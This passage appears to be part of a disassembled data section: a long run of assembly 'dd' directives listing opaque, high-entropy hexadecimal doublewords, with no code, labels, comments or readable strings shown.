		dd 0B1DE805Fh, 950AF0h,	2BAEC9B6h, 0CF589604h, 0D2008AEEh
		dd 0C4E91921h, 7FF83598h, 523E00DCh, 0F1FC568Bh, 1A3F4910h
		dd 0E03D7348h, 0E1EB8BF7h, 3ABB80C1h, 41E532h, 91FF8C6Ch
		dd 0F780CF24h, 5C000D7Bh, 50137774h, 1E982F6Fh,	800E5462h
		dd 0CEC504E1h, 8403FF3Fh, 53901DB8h, 52190008h,	7EB419ABh
		dd 3103443Ah, 6836368h,	0E05D9AD9h, 89FA1Bh, 3C72FC54h
		dd 6692E209h, 55ACD500h, 0FD1B271Ch, 0B0EE76h, 0A04DFC39h
		dd 6760785Eh, 0E1206200h, 65071309h, 0F5A60045h, 3BF63764h
		dd 5A1CB351h, 6D411116h, 6EA9E381h, 13D68DCCh, 0C2944Dh
		dd 0B0910F28h, 3C07823Eh, 0A747C9E5h, 9ADD3FF0h, 1B8E00E1h
		dd 0EE3846A0h, 0B30053FDh, 87D592E6h, 1C20A9h, 0D9F73AB0h
		dd 6CF32BCh, 96F17F03h,	0C89DF2F5h, 28BB48Eh, 6DF6DC83h
		dd 48A0F437h, 0CD5BCEBh, 7C57B700h, 76F9899Fh, 3C051FA2h
		dd 236680A3h
		dd 7B369799h, 0EA75F8EAh, 38B548h, 0C0653152h, 31DDBE2h
		dd 10081ACAh, 78E027B7h, 9900EA45h, 0BBF81FDFh,	7349D67h
		dd 36B9565Bh, 0B4A21019h, 0C690E1B8h, 5A461624h, 43C26D00h
		dd 4B5D68h, 5EB79663h, 6986CDDFh, 6D0038B2h, 4A293F8Dh
		dd 0C0AE3DD0h, 8B223399h, 0FA7FB80Fh, 8FA63A1Fh, 0B30C2A80h
		dd 2C6E4B72h, 6D5F32h, 66A9CF5Dh, 0CC9035CBh, 298F3Ah
		dd 6B55C29Ah, 975648h, 1731ECC9h, 49838979h, 4AEB6100h
		dd 3DFC22FBh, 0CB021F6Fh, 9EBF80F0h, 1AF5FEECh,	145F3600h
		dd 588612BCh, 133700B3h, 272A21Ch, 0CA71647Dh, 0C80EEA12h
		dd 454CE600h, 7C2D4h, 0E7DA837Bh, 815F9452h, 541AAC00h
		dd 7F0C4539h, 0CB2E006Bh, 3933E99h, 0E600FD0Bh,	108AAA2Fh
		dd 0F6BBF484h, 81E01A7h, 0CDCF6087h, 0C089D533h, 6400E576h
		dd 6BB9772Fh, 45DBF80h,	98B7C71Eh, 120BAAA8h, 20C780D8h
		dd 7216B5F3h, 6F2B0078h, 437C5D52h, 2E00BD41h, 0E2126E8Fh
		dd 1F6FCFBh, 838DC8BFh,	0C093131Ch, 4C00EC54h, 0E0A3238Bh
		dd 1E92366Eh, 43A5975Ch, 6A4BB990h, 0A2A4C9F8h,	60B31E00h
		dd 0CE3D0A13h, 3B3500A5h, 4F3A6616h, 6300B6BDh,	0ED495B9Ah
		dd 1377B0B7h, 40D72417h, 0F612BFF0h, 5385957h, 4CCC877Dh
		dd 0A9805A09h, 0F03F717Fh, 0AB700014h, 0D073E676h, 8B79BA74h
		dd 0A4056607h, 7FA05B91h, 3CD437A0h, 7782A8DBh,	8453C32Bh
		dd 0F1B92840h, 195B601Ch, 0C6EC8180h, 132B47CBh, 3741DF2h
		dd 0FF6D3BA0h, 0F4617380h, 91FD7A00h, 0FA1C9441h, 0BC5F007Eh
		dd 70A0C5F2h, 4F160274h, 0B1019EEDh, 10F798AAh,	0EE0A61C0h
		dd 5BE83FE4h, 2EC58380h, 822343A0h, 0CC5AA81Eh,	0E2229100h
		dd 11D09Fh, 2FDE8304h, 0C064DB8Dh, 2E1C2371h, 0AB80CE35h
		dd 38218537h, 600300A0h, 3E12C52Fh, 590B8D3Ch, 0A0B62A8Ch
		dd 0D3678354h, 0A0BE4811h, 2ED40D0Eh, 0BBBC86A1h, 7552302Ch
		dd 68E4CC00h, 0A515F9B5h, 0F64700F3h, 23D3BE92h, 2403588Bh
		dd 45A36DC5h, 14F79788h, 6C217A50h, 9C71002Eh, 0C68DF272h
		dd 533BA7B7h, 3E280E76h, 0C9F5A08Ah, 0F4D08E05h, 55B300B9h
		dd 356A50EFh, 0C15CB7A6h, 41717214h, 5D007E76h,	0AF8F5929h
		dd 0ED80277h, 4BFADB2Fh, 54974800h, 0AB01459Dh,	583F8F40h
		dd 52F0606Fh, 0E3E90E76h, 0D92F9C5Fh, 3DB2F1C0h, 80004A1Bh
		dd 1540863Eh, 0E2EA0E07h, 88230071h, 5D34F317h,	0F600622Bh
		dd 0E16F1B59h, 28DD886h, 0E3E55760h, 87C0FED0h,	291D7031h
		dd 0EAC510BEh, 0CAC080AFh, 364822h, 0C3982EC2h,	35CF6BDCh
		dd 0E7F97C03h, 80B3D29Fh, 780EE2h, 576FEC62h, 12DB69B6h
		dd 5B7E252Ch, 0F159A01Bh, 2AC0B03Ah, 151F0019h,	0D22BF083h
		dd 0F4002D8Ah, 0FE9263E1h, 7C09393Fh, 0A4680038h, 0C936E2Bh
		dd 580040ACh, 1479CDF3h, 13434F85h, 3298AFh, 685AD0BDh
		dd 100F520h, 7527B218h,	90247DBh, 33127159h, 0ECEE1102h
		dd 0A30D3160h, 0C956A900h, 350F1ABh, 1294FECAh,	59D480h
		dd 30851FDDh, 3C009832h, 93DA4968h, 37AD0B8h, 7241900Ah
		dd 0D4B0FB26h, 2F00D70Ch, 0CF2B057Bh, 874A2h, 0AF962A2Ch
		dd 0D64F43E2h, 33525607h, 1230A9C0h, 415F9Bh, 311F4DC8h
		dd 0CC915554h, 0F9457E00h, 0DC3CFC5Ah, 1E6A0506h, 0C3AE3B3Fh
		dd 0D4D84FA7h, 0A838E701h, 45ECFD5Bh, 0D92A6800h, 0AEC1290h
		dd 419200B5h, 97E88FFBh, 5600953Ah, 0CF07457Dh,	1E7CDF25h
		dd 9E4749B9h, 12864077h, 624A8B88h, 0BB7A371Fh,	0F1DC8AC0h
		dd 4CE90D2Eh, 0E600F249h, 8606A3DBh, 3001751Ah,	0CF6FC2C0h
		dd 0A720B97Fh, 6DEC03EBh, 0A2E833F4h, 4FB4AF88h, 0D6511707h
		dd 0C7000259h, 641DD3h,	743F8E56h, 11012A7Dh, 81E9FF00h
		dd 0DDB14E82h, 0FA0D0AEFh, 3CCF2187h, 8E1C0EFFh, 0E8009B95h
		dd 0D8E94C39h, 0EB352D18h, 0AB3EB4h, 0D3D256B3h, 0AD8E71C3h
		dd 0DE033A75h, 836E1C96h, 2A3F0FDh, 0D94800B5h,	0FAEF311Bh
		dd 0F600990Eh, 0D2432297h, 933B9E8h, 11E49307h,	1E0B2080h
		dd 5F5CF0C2h, 0FC233CF4h, 42066800h, 3F925DF1h,	0A96B0027h
		dd 0F2BE60FBh, 0B3075405h, 932ADDABh, 0AF987180h, 47D600AAh
		dd 3158D7F5h, 0A3000AFAh, 9A42139Dh, 9AFBBBE3h,	0A2243AB4h
		dd 80FD501Fh, 75BDD87Ch, 0BF1F23A9h, 80803EA8h,	168C1838h
		dd 9FD3A13h, 89223BFDh,	0D0507EA7h, 0E4748A0Bh,	0C2E0000Bh
		dd 1C5D3DFh, 1292A769h,	2C316B1Eh, 58010368h, 0B04789F7h
		dd 15A48Ch, 31992012h, 2E0A2C1Fh, 98FCC600h, 775D10BCh
		dd 34A4484Ch, 0DB998260h, 0E44A5A2Eh, 5E65000h,	11ED936h
		dd 0B09D1A93h, 0D43918B1h, 493E4841h, 6AAE806Dh, 0B891DDB6h
		dd 0D2970004h, 9EB5E41Ch, 7A001AA1h, 5792C7EAh,	932CE98h
		dd 8CF83508h, 89CD4880h, 0C500864Ah, 0E11D77A2h, 2CEA3DC8h
		dd 0FF085Eh, 0FD245291h, 407BD34h, 7B6E4255h, 2F1200E9h
		dd 0E65DD1Eh, 8EA5C2CDh, 0E29D6D80h, 2D0724F0h,	39113602h
		dd 8AB28757h, 1CB0C4ECh, 7A81A6h, 0CE6D4D96h, 0A9005856h
		dd 0FF936BEDh, 1E3EB88h, 3D85005h, 703E6D47h, 77019D69h
		dd 0EE81D1FCh, 6E70269Fh, 0BB0317F4h, 51E600B4h, 80C88FC5h
		dd 72FCF00Bh, 45D480A5h, 5AD01DBh, 0C7D91ADCh, 8FFC002h
		dd 30EA5B31h, 0DF2564B0h, 4F840186h, 8C743E73h,	0A446258Ch
		dd 2C119C00h, 4712A789h, 8C82C004h, 9450B4h, 0A0276DC3h
		dd 0B785EFACh, 60E1CE00h, 829DF2A3h, 0B9A57B3Fh, 0D2690304h
		dd 2BE8337Ch, 0FD58525Bh, 3D820086h, 60EB9073h,	4A6E017Bh
		dd 0A62089Dh, 5620D855h, 0D3175700h, 4F7EACE4h,	838C071Bh
		dd 3FA74049h, 13BA9420h, 0F30099C4h, 9043E8E1h,	8A3CB7h
		dd 5105AF92h, 9DAD4128h, 0DE9EC400h, 0F25D7162h, 648803BFh
		dd 0D50BCFA2h, 0C8C19CD8h, 296CE000h, 99DD41A4h, 0F970032h
		dd 0DFB6D855h, 8E787785h, 5A871800h, 0C798361Fh, 9BEF3CEAh
		dd 35138302h, 0A8E0324Ah, 6B10EB03h, 6A004D28h,	3D067A3Ah
		dd 331D99B8h, 2D1FE15Bh, 43ED0B41h, 0EBF3E064h,	0E0ECAA01h
		dd 205DCCh, 9C7E782h, 538865A3h, 0FE969A00h, 1A1814F0h
		dd 5038F3D0h, 77BECD00h, 85A2DD94h, 46031E7Eh, 9EE5EEC0h
		dd 0D0E49Fh, 335EF98h, 59CC6381h, 53839312h, 0C5FBD5D0h
		dd 87C39101h, 5D2F0B18h, 6CB92281h, 0E081EE0Ch,	3800472Ch
		dd 3C0BC5FEh, 0B57E3413h, 40282AD8h, 0A7708CCBh, 4D601100h
		dd 6A65C257h, 9D903Eh, 82915AF0h, 0AC8B5B12h, 580BEC02h
		dd 4994B00Dh, 142C2840h, 6AA91800h, 665F5357h, 0B4554B00h
		dd 50A70D7Ch, 88140023h, 2E70AE72h, 0D10E75AFh,	0A08DB009h
		dd 51E5FABh, 26541F02h,	86DA00BFh, 9AACF3A9h, 77AE2C00h
		dd 74725689h, 38B200E9h, 83B43719h, 5100DE5Eh, 0CF3CA3C4h
		dd 98085F93h, 0B86B00CCh, 28CB31D2h, 9154B2EDh,	0F000CFB4h
		dd 96D812DDh, 3EAD71Dh,	5BFE359Fh, 6800770Ch, 0FCEF3851h
		dd 0D73EBEh, 0F7DF406Ch, 0B53F1044h, 0D0E5500h,	0A619276Ah
		dd 14F905C1h, 0C09D0321h, 7E9099B0h, 8E4240h, 0C65A3B77h
		dd 0C37CCFFh, 0AC006CF6h, 4363282Bh, 1FE2A915h,	0C0CD59E0h
		dd 774F729h, 6E00820Ah,	3CD7FEA0h, 142DFAh, 0CD79F031h
		dd 455F84CFh, 0E70028B6h, 54EFCC61h, 0AEF4A6h, 41027720h
		dd 5C6BA19Ch, 6692E302h, 60A0D862h, 14B0ECBh, 0FD342EBh
		dd 0D8655773h, 0D8075E12h
		dd 6B648048h, 0DA7AA7F0h, 0FE6A1D95h, 4C23401Ch, 4DBB565Dh
		dd 0A8C63500h, 517D8A30h, 46603D14h, 52BA6903h,	49D8FB2Dh
		dd 0A4033D0Ah, 9F904EBh, 6061CA2Ah, 0E45E6ADCh,	0CBBA1DA9h
		dd 9F93C03Ah, 6FCAB104h, 44D80951h, 0A3D86856h,	808849h
		dd 47025B1Ch, 1D504698h, 5D53956Eh, 0F2A2C205h,	59C0A1FCh
		dd 0CB00F9E9h, 0DE14C449h, 0B4B682h, 5B675A7Dh,	0CF5ED97Bh
		dd 0A9AA4630h, 33C674h,	0BB358E6Eh, 0D65003E4h,	0EE361203h
		dd 17FB44h, 59F40FA0h, 4015450Dh, 0D0C63701h, 854379F8h
		dd 7767720h, 0EEA00942h, 0F27470E3h, 0B0E1AA6h,	18559231h
		dd 0E82AD2C1h, 77E9338Dh, 0EAB09A10h, 4900A6A0h, 87C00820h
		dd 1E771C9h, 4C58A73Fh,	0C8D6B3A3h, 1D26449Dh, 973AE883h
		dd 0DA0053E8h, 40A1BF08h, 0F0B13B21h, 7059C280h, 0F9152714h
		dd 4E736602h, 4163875Fh, 27196E8h, 3D10D840h, 451400FEh
		dd 4A1A3033h, 0E003A1Eh, 75D292B9h, 2E6D1B65h, 5AADFAh
		dd 0D86CF604h, 7B043FFCh, 74BB82D7h, 6184E580h,	59230E6Fh
		dd 7D03F54Dh, 6DE86271h, 391FBC40h, 7CC09DD7h, 50A5FB5Ah
		dd 6B4406A8h, 3052D3B7h, 0FE625160h, 2674E112h,	80280AC8h
		dd 97D21883h, 63F03885h, 1F20DD18h, 9047F018h, 0E540014h
		dd 9CBEE167h, 420FF4C4h, 5D9D796Ah, 1200C5E6h, 2F47DF39h
		dd 73A6008Ch, 7DC3D16Bh, 2E01CCDBh, 2AAD1E2Ch, 8EE4919Bh
		dd 0E9D70454h, 0C0F9286Fh, 0F2E2EE82h, 88045E7Ch, 1E39CD89h
		dd 10A82CD2h, 0E800DC79h, 84A5231Fh, 0A380Fh, 76731771h
		dd 6C0CF088h, 0CFC31E00h, 25BCB1FFh, 0CA7C14h, 0A7953F30h
		dd 0C67F8F72h, 505A9700h, 91529FA3h, 235B0411h,	808AC427h
		dd 6E163B56h, 0E4246A01h, 0E5B06038h, 0EC04BA40h, 690F3153h
		dd 8479299h, 8DFA00E2h,	1E602E96h, 4C014AECh, 0B774E0D8h
		dd 50E0FD3Dh, 0C5F51D81h, 0DAA00140h, 0ECD9EE46h, 5D0192C4h
		dd 0C796E89Eh, 9070689Dh, 30AB03B6h, 356C0A5Ch,	0D0C0BDFBh
		dd 0BA00CCF9h, 591BE5F6h, 25510FEh, 18649B01h, 0E4A02B16h
		dd 67F81A3Dh, 530923E0h, 0A1A06222h, 0E6660E60h, 0E07BEFCh
		dd 40C04F64h, 7F4EAAE0h, 8F3E1C19h, 0EA0077A6h,	43236D05h
		dd 1240BE41h, 4062256Ah, 0CD32D0A0h, 81007BA6h,	127ABDEAh
		dd 2D098394h, 0D038AF95h, 32063175h, 0B9EBDFD1h, 1CA3008Ch
		dd 0B3C7765Ah, 0CA48DBEEh, 7D880004h, 0A7A14748h, 0A5201CE3h
		dd 0C102C09Dh, 5CEC79E4h, 349EC0C1h, 0E88BC417h, 0EC189BFBh
		dd 0AAF82367h, 4270DD00h, 0B157D84Eh, 889004h, 5D255885h
		dd 0C3624D8Ch, 1B84D000h, 5C9C8B2Bh, 4FC700EBh,	0BEEAC22Ch
		dd 0F7737B1Ch, 1800597Bh, 3D21CCB9h, 1A74937h, 2FF10510h
		dd 608FCB9Fh, 993E7A21h, 74D6807Eh, 15982CC7h, 45AA024Eh
		dd 0AF097854h, 37515BE0h, 61F34A1Eh, 557FEE80h,	751B29h
		dd 2246DE86h, 644B32FEh, 0DA958D01h, 9F7E94C5h,	63C1D8h
		dd 58D353CDh, 1DCF9CE9h, 84084200h, 0EE920939h,	0ACC92449h
		dd 0AEC30073h, 0E81E212Ah, 0E0D8A431h, 9BD806E3h, 7229009Fh
		dd 30D05DE6h, 6600351Eh, 594486C6h, 92C18025h, 0B995001Ch
		dd 0D4D1AAF8h, 0E70523B2h, 0C186AEC8h, 48DDB0B0h, 0BD0C826Eh
		dd 0FE30F0EEh, 0FC028D00h, 0FB93A4FDh, 79A9005Dh, 745E3E68h
		dd 0E75C27DCh, 678113BAh, 0A4975801h, 6FF09539h, 297F00CEh
		dd 506C31A3h, 0A8008046h, 25EBFAEEh, 0EE83D0Dh,	41F0D4A1h
		dd 5448EF60h, 0B6004BF7h, 0DB603081h, 38D1D311h, 0A00EE6F4h
		dd 0B72E4479h, 90B803Fh, 31CB8258h, 5F134200h, 84CA1DD7h
		dd 0DA330179h, 717449A1h, 7C84655Bh, 0FFD4C014h, 882206h
		dd 0E6CBDE6Ah, 7C7784C0h, 53157A00h, 109EB0EBh,	86010020h
		dd 0D3762B2Dh, 0D400581Bh, 5BFF68FBh, 1FD5AA9h,	0EDBACB65h
		dd 698A7884h, 0D04501F0h, 0CC060305h, 0ED8F0A80h, 628D757Ch
		dd 0B00BF904h, 189077B8h, 2EA80E0Fh, 1DDFA68Eh,	0A3DC0018h
		dd 0FCF17235h, 9EE8E200h, 4BD747CCh, 0DD7E34h, 0AE9D64A1h
		dd 0C248D322h, 0A2A96F1Fh, 4DCB880h, 35AAD2h, 0FB62A8E2h
		dd 0E84D716h, 20A1FA1Dh, 1094FEDFh, 0A58905C3h,	0F1808788h
		dd 0C0569E3h, 8E841668h, 0D700E118h, 0AA28E7A9h, 0BCF119Eh
		dd 8145C1C2h, 0F1061C00h, 96009DECh, 0E9F27BC6h, 1EC90Dh
		dd 0F504FE4Fh, 11CE023Eh, 0B4149E00h, 1FDD64F8h, 78707D2Dh
		dd 0C90800BAh, 32C71133h, 0D61D80D0h, 744361B1h, 0B0D102DAh
		dd 1DC1805h, 0E53A998Bh, 0D33F8445h, 7F910FFh, 8C00A7C8h
		dd 0CC15EA39h, 0FFD31Ah, 712654DDh, 0E8A9B8B4h,	504E7426h
		dd 87121A89h, 49E22F66h, 651E6058h, 4F750031h, 9002E27Dh
		dd 607DBDCh, 4976D52h, 9C5BC7D0h, 0A1C800D5h, 1AD9F2A8h
		dd 0F000E9B8h, 2080E1EFh, 6E2354h, 59109C4Eh, 2FF52412h
		dd 0BB885103h, 0B8DAA243h, 17192858h, 0A0D2FCh,	4E61DC16h
		dd 0D90094B3h, 0DE8A8440h, 257CD6h, 0E4141021h,	574B5F56h
		dd 4087B924h, 540CF1Dh,	0D7679CC6h, 0FE38792Eh,	19F401E0h
		dd 94EC4E2Ch, 44C4E05Ah, 34C65801h, 0A715FDC3h,	6EC1F0h
		dd 24B89EFCh, 72F354AFh, 0D498B776h, 1B7EE400h,	0D84BFA9Fh
		dd 681D00E2h, 0C4A07266h, 150916C6h, 0FC8D8C27h, 0A4C30273h
		dd 0A8D07A4Ch, 1DDAAA00h, 0A39AE4F7h, 4D6F0454h, 0B0BA7EE9h
		dd 98C7DCh, 2F5B743Fh, 0F958B2h, 63FD42DDh, 0E6B1382Ch
		dd 0C93C5F00h, 0D0015C29h, 72853D57h, 4C008C3Ah, 699B33D3h
		dd 3892C784h, 2B753Fh, 7D06C4BFh, 9B3C55h, 1949872Ch, 710860FBh
		dd 0A0973900h, 78D9E7D7h, 5D4E3912h, 1728C901h,	7099EB45h
		dd 9800DE8Ch, 4936BDA1h, 98C49E5Fh, 1B5500E0h, 4F1296CFh
		dd 3F00DB8Bh, 777A1624h, 72CD0C6h, 7307999Eh, 0D04517A5h
		dd 5ABC1896h, 98F89B00h, 0C2093750h, 1971E0h, 38696B03h
		dd 270BE4E9h, 9B78CF00h, 829CFA5Dh, 0D360162h, 1CE8F2ADh
		dd 0BF19F8A5h, 5E7DE61Ch, 9300E06Eh, 1DF17A3Eh,	0F997011Ch
		dd 67C26678h, 0DDC34010h, 3A3B6E75h, 0F870142h,	6C9305A2h
		dd 3BB3520h, 89B5C719h,	47A0662Eh, 0B400EA33h, 0EB631C0Dh
		dd 3122003h, 0A84AF20Fh, 81DD8645h, 746188B8h, 0EA241D18h
		dd 43000E9Fh, 44344189h, 7680005Eh, 9A5B9804h, 0E90072EAh
		dd 9347C0D2h, 1AA0E96h,	12037C7Ah, 60916336h, 9B00F8B5h
		dd 31FDBCE1h, 0E8E737h,	0D7F28F21h, 0B84F0C2Bh,	78535500h
		dd 0CF0B41E6h, 0D109008Bh, 26BB5771h, 0AF76E8B9h, 9C9A4400h
		dd 92039427h, 3216076Dh, 0C754F6ECh, 0DF5890A4h, 53004ECBh
		dd 22C720DEh, 3B163F2Fh, 307B7DBh, 90F00AE5h, 0CC149C0Dh
		dd 5C458800h, 6E062475h, 98F55DB3h, 904AD113h, 761D8CA8h
		dd 52075B70h, 6103E12Ch, 33C0EB04h, 0AB9A27h, 0A0FBA216h
		dd 0FE6FE67Fh, 0F8001F72h, 0BD6534ADh, 3EB096h,	676958F6h
		dd 20E29D42h, 64B6A012h, 2E7DF700h, 1C3898Fh, 16D249EAh
		dd 0E42B9F01h, 0E100230Eh, 8AF0665Bh, 0B098376Dh, 7D300028h
		dd 26E8DD10h, 0FA007B23h, 505A5F88h, 1DFBC297h,	59CCB0Fh
		dd 30666C45h, 0EE96A6E8h, 0E4CE6200h, 16EF050h,	9E2613F7h
		dd 0B08C40E3h, 4210034Fh, 5A7ED824h, 0B6E9A100h, 0EDDC08h
		dd 0B5F9D0E2h, 3CC18C30h, 1086F32Eh, 9100B420h,	3F9B88ACh
		dd 29C01E4h, 0D8FE703Bh, 6C0246Ch, 0CC96FCB4h, 0BE764001h
		dd 1180DFD7h
		dd 4C7D17A0h, 0B90EEAEFh, 803FD368h, 64F519A1h,	71EB3069h
		dd 3E078028h, 0CD66950Eh, 573BC7BDh, 0C7075D0Eh, 9FB02FCCh
		dd 0A833CAh, 5D7A0DEFh,	314F928Dh, 1AD56000h, 0D6D49D87h
		dd 510700EDh, 5FC02B8Eh, 0CE0EE33Eh, 201C61C3h,	7EF52854h
		dd 0DBED0059h, 27B9FD7Dh, 22003C5Ah, 8D03403Bh,	9AFA72h
		dd 0AB5CEEDAh, 55D29C35h, 3A969E07h, 0DA0C057h,	0B0E9CC8Bh
		dd 0D39900B7h, 6369EB56h, 2B00B23Bh, 0CBCEF031h, 54DF8Bh
		dd 53B9C2F5h, 275A1297h, 0FBE17000h, 193D143Eh,	1A71045Fh
		dd 0C07D2E88h, 1CF130DCh, 75D4DF0Ah, 6A0BFBEAh,	0CD3B809Fh
		dd 0FB954Dh, 340896EDh,	3E7B4F6Bh, 401C012h, 5EABD4F0h
		dd 2941EFDh, 0F0A00C76h, 6D22C4C8h, 855FF300h, 93D8C813h
		dd 0E4490019h, 2C95074h, 0D0F01B8Ch, 2C4FB900h,	4055A771h
		dd 0FE1000BAh, 73FDA30Ah, 6412CD63h, 28A5333Bh,	283A40CDh
		dd 8800ED0Ch, 0C8D88B90h, 0BC8A9Ch, 6E7E4570h, 35A73682h
		dd 75053F00h, 0E7993D1h, 68650E2Fh, 3D237337h, 47C110BCh
		dd 4D9AC089h, 0E1D71A12h, 0E44FFE00h, 0F4059334h, 2DE058h
		dd 38487EB3h, 89E032DBh, 0EF9F9600h, 0EE6A18D5h, 0CF77E5h
		dd 8AA46C74h, 8826656h,	2E139892h, 8002E7A1h, 5C1FD6A8h
		dd 139177Ch, 6A32B38h, 0DC982194h, 0E07B25CDh, 4559200h
		dd 66ED507Ch, 7CEF81Ch,	0CA24A91Ah, 189910F1h, 0A5006EC0h
		dd 0CCB47756h, 166182h,	3D111A79h, 86BF9235h, 0DC05DD09h
		dd 0D871A0h, 0BD3DF08Ah, 0EC00A17Bh, 0D2BEE1D6h, 3E388572h
		dd 0B18707B3h, 767DD2Ah, 9644A0FFh, 3000AEF2h, 8B4CBF6Dh
		dd 0FDA1AECh, 2A5A9162h, 373D4AA0h, 7A07A01Bh, 355B294Eh
		dd 5FF1CB50h, 25A900D5h, 7CF4B4B8h, 0B6007E4Fh,	0D8111D22h
		dd 6CEF7Dh, 1BC93BD6h, 2C6DC3CBh, 0E8614900h, 975A2A79h
		dd 0D4880E13h, 7700FF56h, 0FA0CC47Ch, 0A468004h, 0FCC0CF37h
		dd 0D3CE49F9h, 9EECCCh,	0F8FAC98Ch, 20BE96h, 5B16CD93h
		dd 22A5558Bh, 71D80600h, 83CB447Ah, 284A9003h, 0F87B0Ch
		dd 0DD3CC8Ah, 67544740h, 2D73EB07h, 4880B8DFh, 68D4DBh
		dd 0AA228DEh, 0F2F0B52Ch, 32369D03h, 0A82A8299h, 4861A6E7h
		dd 420041F1h, 0EC070E6Ah, 9113B33Ch, 9C74AC3Dh,	0BDF28EDh
		dd 2B8054C0h, 0B6E88BC3h, 18001CB4h, 21B1C967h,	0A2B001CFh
		dd 31DB09D6h, 5B58E065h, 45C89300h, 0EE35DA0Fh,	25593B51h
		dd 0DE07BCBDh, 0F093E348h, 797CDBD9h, 87EA7E71h, 4900EAB8h
		dd 0D8D2313Bh, 39F8124h, 643DA278h, 0A4D8B170h,	827C26BFh
		dd 0AF0063ECh, 5D8FABFAh, 75653B3h, 0DF08EB2Bh,	0DB57C05Bh
		dd 66E433E8h, 3CC247E2h, 0EAA88DE2h, 830C0D0h, 0C1C7003Ch
		dd 9306D132h, 94056CF4h, 3438C5A2h, 0C72B0180h,	89F90085h
		dd 0D50FBF03h, 74008292h, 1AC5B0EBh, 4EE8C6F8h,	83DC0C09h
		dd 8C001D08h, 74ECCC0Bh, 734421D7h, 0F7E83DC0h,	55236280h
		dd 29C6CFFDh, 776AC100h, 973A9979h, 0B86E005Ah,	0DE276326h
		dd 150E5B8Ch, 65819502h, 0DC904392h, 3BB29C5h, 0ACBE9C53h
		dd 0D8A1BC4Ah, 45818C3Bh, 20F41044h, 6C075A9Eh,	9D7908BFh
		dd 0D16EA390h, 5E900E8h, 0D6029A6Dh, 24009896h,	4842B482h
		dd 0C771B68h, 5F044CE4h, 0C3001670h, 5B08609Bh,	162393Ch
		dd 0A924BBE6h, 6099A5D6h, 4D04B8BDh, 0C8BA2A7h,	81077180h
		dd 0C2F9065h, 0BB611DE7h, 0E005B48h, 28CB4387h,	1CF8A27h
		dd 9B524B8h, 40034D26h,	39C6E638h, 4C53D1C6h, 86EA00E8h
		dd 22388E21h, 2E009454h, 8FCD807Fh, 0BB7D2Bh, 24635BC7h
		dd 4A9204C8h, 4E44BD0Eh, 0E2B6A055h, 143F37Ah, 3BBEA9DBh
		dd 0FCB2BBFAh, 0C3005270h, 0B3A307EEh, 960330h,	5BB95C90h
		dd 0A6E01343h, 610C2400h, 23E14B4Fh, 0C1B10B94h, 502937h
		dd 5ABC50EBh, 0CB007C8Ch, 83EA781Eh, 1DB6D71Fh,	0CEB9E36Ah
		dd 0DDE0DAACh, 0D430FE69h, 8582DF07h, 0B200086Ch, 7ABA17BBh
		dd 6AD8A004h, 58941509h, 980980C7h, 688E678Ch, 4D84BE83h
		dd 29600896h, 67B30721h, 3DBA746Ah, 599D31CFh, 166D214h
		dd 3497BDBDh, 0AC406A48h, 0B8A4892Ah, 773019FFh, 0D0A51950h
		dd 0B118D1AEh, 0A00E7B9Ah, 0DDF13AE0h, 6DCB3800h, 534EF739h
		dd 79D3F030h, 61298945h, 80681894h, 0A3B07A3Bh,	0CFF0F6h
		dd 92D3FCC4h, 0BDA0B109h, 0A9897103h, 0F73F6927h, 0CA4A0F80h
		dd 0FFDF1D58h, 7D1FC017h, 0C529ABB2h, 0F2ADB800h, 122D27BFh
		dd 646A07A3h, 23689136h, 0DE0BE21h, 0CF011DD1h,	779DB90Ch
		dd 0C512396h, 97085DB3h, 0AB10BF42h, 629B88EBh,	0CF1113F7h
		dd 1273E910h, 0F794340h, 268B7152h, 0D8B4FC81h,	0A4BFD05Dh
		dd 400369F0h, 9652D334h, 0E200118h, 0D7F59A3Ah,	8EA8E976h
		dd 0B450F751h, 0CEA3001Ch, 3BD36FB3h, 0BCEE93h,	0D25F96F9h
		dd 57631DD5h, 3AE7120h,	56BE5EFCh, 81788DF7h, 7E30A978h
		dd 0BA162115h, 486E7811h, 0A50AEBAEh, 4188F4B8h, 0E78270A3h
		dd 10FE9D90h, 62FC40h, 52BADC89h, 0F1F7A38Dh, 200345F8h
		dd 4046FD73h, 0ED29000Ah, 0D4945631h, 7A19EBA4h, 4108A990h
		dd 0D3921BFh, 0B0827D00h, 8E7E3251h, 0F8A19D00h, 0F6BFA92h
		dd 0C119017h, 2EE3CB4Ch, 4F43EC60h, 0EA563F02h,	0AA3314D4h
		dd 35001FDh, 620EC856h,	0F2992600h, 6CAE5DB1h, 2EC10D2Ah
		dd 94E867F5h, 805C4158h, 0D4D9563Eh, 7F608C0Ch,	560E4B59h
		dd 0B3EF1E85h, 0B0449E8Fh, 0AFE8CA50h, 293B0C34h, 1929B000h
		dd 0C0914DBDh, 0CADE9F11h, 3C1C94A5h, 3DD9F0F6h, 0D0509208h
		dd 0CAD6FFh, 13B8A6D7h,	442905C5h, 0FEAACD02h, 0A2C68314h
		dd 1A41D284h, 0D4D899C0h, 58E8842Ah, 4A21E960h,	1B5601h
		dd 0A2A1F952h, 0C79D170Ch, 0F42FF42Ah, 10CD1900h, 0F9F29167h
		dd 666A0050h, 0E96C994Dh, 0DD28C047h, 0CE06C8F5h, 0FFA5DEBFh
		dd 0C5DC00E1h, 0C2EB28BAh, 0F733115Dh, 6C008CAh, 0BA38AB21h
		dd 0B87B383Fh, 488FF930h, 5C447FA1h, 11003F21h,	48202484h
		dd 700094FFh, 3EDFE9D0h, 3E9B0C17h, 0B4B00D32h,	4C1171ECh
		dd 19BD3Ah, 67AAFEAEh, 3FC3B709h, 6280F063h, 0CF4BC1DAh
		dd 4E003BACh, 3DA5FE4Ch, 0F85D87F4h, 43820285h,	11705ADFh
		dd 410E5863h, 98973BAAh, 52C5D59h, 63BF3F24h, 985380F7h
		dd 0B20C0633h, 20A8722Bh, 0AD560074h, 65217E5Eh, 0E0E948Eh
		dd 0B8D21127h, 0C17148h, 0DAF0E189h, 0D53EA540h, 701A08CCh
		dd 0B9512619h, 69AD042Eh, 10DB804Dh, 95035F4Ah,	307513A9h
		dd 3828070Eh, 0A01C8429h, 11668622h, 0AF4418C7h, 7B57CB60h
		dd 93E43AF0h, 0B67C9280h, 0EE67BCEDh, 5DA95803h, 188175AAh
		dd 8B931D9h, 0BEB8E90Eh, 8C00E375h, 1691AA56h, 0F5E64Bh
		dd 1428698Fh, 8654CAB4h, 0A390B354h, 34D54700h,	94259901h
		dd 0B81701DDh, 0A0B58E05h, 8084CA92h, 97BA605Ch, 95F15CDAh
		dd 46228043h, 0F8D3640h, 4314FBB1h, 1E664CFEh, 0A31D9BA0h
